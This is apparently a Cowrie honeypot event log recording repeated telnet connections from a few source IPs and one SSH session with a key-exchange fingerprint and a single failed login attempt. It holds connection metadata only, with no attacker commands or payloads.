{"eventid":"cowrie.session.closed","duration":38.3656587600708,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:28.976701Z","src_ip":"188.208.141.113","session":"bbc56fdd16f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.290706634521484,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:30.923587Z","src_ip":"188.208.141.113","session":"3c1cc2ece11b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.08547759056091,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:34.127571Z","src_ip":"188.208.141.113","session":"3829ceb13fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50578,"dst_ip":"10.17.0.5","dst_port":23,"session":"204456455996","protocol":"telnet","message":"New connection: 188.208.141.113:50578 (10.17.0.5:23) [session: 204456455996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:34.228776Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50586,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a84447032b","protocol":"telnet","message":"New connection: 188.208.141.113:50586 (10.17.0.5:23) [session: 96a84447032b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:37.304989Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47984,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae77166c3da","protocol":"telnet","message":"New connection: 188.208.141.113:47984 (10.17.0.5:23) [session: 9ae77166c3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:41.082633Z"}
{"eventid":"cowrie.session.closed","duration":48.16510200500488,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:43.556067Z","src_ip":"188.208.141.113","session":"454dec217e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":56646,"dst_ip":"10.17.0.5","dst_port":23,"session":"58068c19316c","protocol":"telnet","message":"New connection: 103.208.219.59:56646 (10.17.0.5:23) [session: 58068c19316c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:45.119380Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48198,"dst_ip":"10.17.0.5","dst_port":23,"session":"3050ae2a4a73","protocol":"telnet","message":"New connection: 188.208.141.113:48198 (10.17.0.5:23) [session: 3050ae2a4a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:47.422368Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48232,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2e1efcea65","protocol":"telnet","message":"New connection: 188.208.141.113:48232 (10.17.0.5:23) [session: 7c2e1efcea65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:48.052548Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43094,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f519d2635d1","protocol":"telnet","message":"New connection: 188.208.141.113:43094 (10.17.0.5:23) [session: 8f519d2635d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:54.149915Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43106,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7f00221b14","protocol":"telnet","message":"New connection: 188.208.141.113:43106 (10.17.0.5:23) [session: fb7f00221b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:57.378213Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43114,"dst_ip":"10.17.0.5","dst_port":23,"session":"249ff0e690c6","protocol":"telnet","message":"New connection: 188.208.141.113:43114 (10.17.0.5:23) [session: 249ff0e690c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:57.442403Z"}
{"eventid":"cowrie.session.closed","duration":41.675058364868164,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:59.547025Z","src_ip":"188.208.141.113","session":"20e2ef3652b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a7bacef357","protocol":"telnet","message":"New connection: 188.208.141.113:43120 (10.17.0.5:23) [session: b2a7bacef357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:00.360179Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42746,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2212b13bf47","protocol":"telnet","message":"New connection: 188.208.141.113:42746 (10.17.0.5:23) [session: d2212b13bf47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:04.713513Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42754,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17cb4be2977","protocol":"telnet","message":"New connection: 188.208.141.113:42754 (10.17.0.5:23) [session: b17cb4be2977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:06.274224Z"}
{"eventid":"cowrie.session.closed","duration":43.403340578079224,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:09.235358Z","src_ip":"188.208.141.113","session":"1b043d11b022","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.38331413269043,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:14.694144Z","src_ip":"188.208.141.113","session":"366c81a6bcda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061411380767822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:16.180692Z","src_ip":"103.208.219.59","session":"58068c19316c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34322,"dst_ip":"10.17.0.5","dst_port":23,"session":"d35748b75113","protocol":"telnet","message":"New connection: 188.208.141.113:34322 (10.17.0.5:23) [session: d35748b75113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:16.621980Z"}
{"eventid":"cowrie.session.closed","duration":43.854729652404785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:18.083420Z","src_ip":"188.208.141.113","session":"204456455996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39212,"dst_ip":"10.17.0.5","dst_port":23,"session":"795f147cd2a7","protocol":"telnet","message":"New connection: 188.208.141.113:39212 (10.17.0.5:23) [session: 795f147cd2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:21.161171Z"}
{"eventid":"cowrie.session.closed","duration":41.20660758018494,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:22.289141Z","src_ip":"188.208.141.113","session":"9ae77166c3da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.16736555099487,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:23.472244Z","src_ip":"188.208.141.113","session":"96a84447032b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39218,"dst_ip":"10.17.0.5","dst_port":23,"session":"33cc674dcf43","protocol":"telnet","message":"New connection: 188.208.141.113:39218 (10.17.0.5:23) [session: 33cc674dcf43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:26.399151Z"}
{"eventid":"cowrie.session.closed","duration":3.168222665786743,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:29.567237Z","src_ip":"188.208.141.113","session":"33cc674dcf43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.51133370399475,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:31.889459Z","src_ip":"188.208.141.113","session":"fb7f00221b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.29408383369446,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:32.716368Z","src_ip":"188.208.141.113","session":"3050ae2a4a73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.8574697971344,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:34.299756Z","src_ip":"188.208.141.113","session":"249ff0e690c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.63718914985657,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:35.689623Z","src_ip":"188.208.141.113","session":"7c2e1efcea65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58502,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e79fcfc3a90","protocol":"telnet","message":"New connection: 188.208.141.113:58502 (10.17.0.5:23) [session: 3e79fcfc3a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:40.764623Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58518,"dst_ip":"10.17.0.5","dst_port":23,"session":"396a53ab8f6d","protocol":"telnet","message":"New connection: 188.208.141.113:58518 (10.17.0.5:23) [session: 396a53ab8f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:40.909565Z"}
{"eventid":"cowrie.session.closed","duration":40.88377594947815,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:41.243778Z","src_ip":"188.208.141.113","session":"b2a7bacef357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.853701591491699,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:46.618200Z","src_ip":"188.208.141.113","session":"3e79fcfc3a90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.85707354545593,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:47.006853Z","src_ip":"188.208.141.113","session":"8f519d2635d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58520,"dst_ip":"10.17.0.5","dst_port":23,"session":"9803911712bc","protocol":"telnet","message":"New connection: 188.208.141.113:58520 (10.17.0.5:23) [session: 9803911712bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:48.669461Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58534,"dst_ip":"10.17.0.5","dst_port":23,"session":"156ecebcac79","protocol":"telnet","message":"New connection: 188.208.141.113:58534 (10.17.0.5:23) [session: 156ecebcac79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:48.865908Z"}
{"eventid":"cowrie.session.closed","duration":45.57353711128235,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:50.286942Z","src_ip":"188.208.141.113","session":"d2212b13bf47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.313427686691284,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:50.587547Z","src_ip":"188.208.141.113","session":"b17cb4be2977","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43310,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffb61b824932","protocol":"telnet","message":"New connection: 188.208.141.113:43310 (10.17.0.5:23) [session: ffb61b824932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:56:53.817800Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52456,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac7e3347a9f1","protocol":"telnet","message":"New connection: 188.208.141.113:52456 (10.17.0.5:23) [session: ac7e3347a9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:03.657583Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52464,"dst_ip":"10.17.0.5","dst_port":23,"session":"352110b44aa5","protocol":"telnet","message":"New connection: 188.208.141.113:52464 (10.17.0.5:23) [session: 352110b44aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:04.114809Z"}
{"eventid":"cowrie.session.closed","duration":48.364726305007935,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:04.986575Z","src_ip":"188.208.141.113","session":"d35748b75113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.94347095489502,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:06.104481Z","src_ip":"188.208.141.113","session":"795f147cd2a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":52768,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c152b4760c8","protocol":"telnet","message":"New connection: 69.65.3.189:52768 (10.17.0.5:23) [session: 3c152b4760c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:09.045947Z"}
{"eventid":"cowrie.session.closed","duration":5.7563629150390625,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:09.871063Z","src_ip":"188.208.141.113","session":"352110b44aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44874,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e32a15f04f8","protocol":"telnet","message":"New connection: 188.208.141.113:44874 (10.17.0.5:23) [session: 0e32a15f04f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:11.979574Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44890,"dst_ip":"10.17.0.5","dst_port":23,"session":"5113694e44db","protocol":"telnet","message":"New connection: 188.208.141.113:44890 (10.17.0.5:23) [session: 5113694e44db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:14.587924Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":49894,"dst_ip":"159.203.135.109","dst_port":22,"session":"022e3081d007","protocol":"ssh","message":"New connection: 78.128.112.74:49894 (159.203.135.109:22) [session: 022e3081d007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:16.935777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:16.940366Z","src_ip":"78.128.112.74","session":"022e3081d007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:17.117064Z","src_ip":"78.128.112.74","session":"022e3081d007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123!","message":"login attempt [user/123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:18.117452Z","src_ip":"78.128.112.74","session":"022e3081d007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:19.563098Z","src_ip":"78.128.112.74","session":"022e3081d007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52854,"dst_ip":"10.17.0.5","dst_port":23,"session":"77f2a60d9415","protocol":"telnet","message":"New connection: 188.208.141.113:52854 (10.17.0.5:23) [session: 77f2a60d9415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:22.038310Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":36390,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f29adb5aeff","protocol":"telnet","message":"New connection: 64.227.9.242:36390 (159.203.135.109:23) [session: 9f29adb5aeff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:23.720856Z"}
{"eventid":"cowrie.session.closed","duration":38.68909811973572,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:27.358466Z","src_ip":"188.208.141.113","session":"9803911712bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aeb672c0f42","protocol":"telnet","message":"New connection: 188.208.141.113:52870 (10.17.0.5:23) [session: 9aeb672c0f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:28.870335Z"}
{"eventid":"cowrie.session.closed","duration":48.62175226211548,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:29.531226Z","src_ip":"188.208.141.113","session":"396a53ab8f6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52882,"dst_ip":"10.17.0.5","dst_port":23,"session":"b151ea3801e3","protocol":"telnet","message":"New connection: 188.208.141.113:52882 (10.17.0.5:23) [session: b151ea3801e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:30.547614Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37134,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ff6474eb4d","protocol":"telnet","message":"New connection: 188.208.141.113:37134 (10.17.0.5:23) [session: 62ff6474eb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:33.044088Z"}
{"eventid":"cowrie.session.closed","duration":44.51081371307373,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:33.376587Z","src_ip":"188.208.141.113","session":"156ecebcac79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37136,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a6aef73db1","protocol":"telnet","message":"New connection: 188.208.141.113:37136 (10.17.0.5:23) [session: 87a6aef73db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:38.208270Z"}
{"eventid":"cowrie.session.closed","duration":37.19908857345581,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:40.856579Z","src_ip":"188.208.141.113","session":"ac7e3347a9f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.57331991195679,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:42.390996Z","src_ip":"188.208.141.113","session":"ffb61b824932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37484,"dst_ip":"10.17.0.5","dst_port":23,"session":"54becc0b25c9","protocol":"telnet","message":"New connection: 188.208.141.113:37484 (10.17.0.5:23) [session: 54becc0b25c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:43.634323Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37490,"dst_ip":"10.17.0.5","dst_port":23,"session":"9313f61e62cf","protocol":"telnet","message":"New connection: 188.208.141.113:37490 (10.17.0.5:23) [session: 9313f61e62cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:43.729005Z"}
{"eventid":"cowrie.session.closed","duration":36.30455541610718,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:45.350403Z","src_ip":"69.65.3.189","session":"3c152b4760c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37496,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e937f027f2","protocol":"telnet","message":"New connection: 188.208.141.113:37496 (10.17.0.5:23) [session: 87e937f027f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:47.498727Z"}
{"eventid":"cowrie.session.closed","duration":1.1018784046173096,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:48.600506Z","src_ip":"188.208.141.113","session":"87e937f027f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.86838698387146,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:50.502640Z","src_ip":"188.208.141.113","session":"54becc0b25c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.8271062374115,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:57.414918Z","src_ip":"188.208.141.113","session":"5113694e44db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38470792770386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:57:59.105453Z","src_ip":"64.227.9.242","session":"9f29adb5aeff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.040775537490845,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:01.020198Z","src_ip":"188.208.141.113","session":"0e32a15f04f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.477012395858765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:06.024387Z","src_ip":"188.208.141.113","session":"b151ea3801e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.23547554016113,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:07.273673Z","src_ip":"188.208.141.113","session":"77f2a60d9415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.332982301712036,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:13.203203Z","src_ip":"188.208.141.113","session":"9aeb672c0f42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.54511594772339,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:20.589100Z","src_ip":"188.208.141.113","session":"62ff6474eb4d","protocol":"telnet"}
